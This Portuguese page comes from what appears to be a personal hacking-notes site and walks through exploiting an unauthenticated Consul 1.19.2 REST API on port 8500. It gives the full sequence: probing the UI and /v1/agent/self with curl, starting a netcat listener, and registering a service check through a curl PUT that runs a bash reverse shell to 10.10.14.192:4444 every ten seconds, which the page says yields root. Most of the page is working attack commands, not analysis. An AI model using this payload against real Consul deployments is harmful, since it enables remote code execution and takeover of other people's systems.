> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/ports-and-services/consul-8500.md).
# Consul - 8500
Exposição da API REST do Consul e registro malicioso de checagem de serviço para execução de reverse shell.
### Descoberta da Porta 8500 (Consul)
Porta **8500** expõe a interface web do Consul.
Após consultar `127.0.0.1:8500/ui/`, a versão do Consul **1.19.2** é encontrada.
```bash
curl 127.0.0.1:8500/ui/
```
#### Verificando o acesso à API REST
Teste se a API REST do Consul está acessível sem autenticação:
```bash
curl http://127.0.0.1:8500/v1/agent/self
```
A resposta confirma que a API está exposta.
### Exploração por meio de um check malicioso
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Registre um serviço com um check malicioso que executa uma reverse shell do bash:
```bash
nc -lvnp 4444
```
#### Registrando um serviço com um check malicioso
O Consul permite o registro dinâmico de serviços por meio de solicitações HTTP. Abuse desse comportamento para criar um check que execute um comando bash.
```bash
curl -X PUT http://127.0.0.1:8500/v1/agent/service/register -d '{
"Name": "pwned",
"ID": "pwned",
"Check": {
"Args": ["/bin/bash", "-c", "bash -i >& /dev/tcp/10.10.14.192/4444 0>&1"],
"Interval": "10s"
}
}'
```
Comportamento do payload:
* `Check.Args[]`: contém um comando bash que abre uma **shell reverso**.
* `Interval`: define uma execução automática a cada 10 segundos.
Executar este payload retorna uma shell de root.
---
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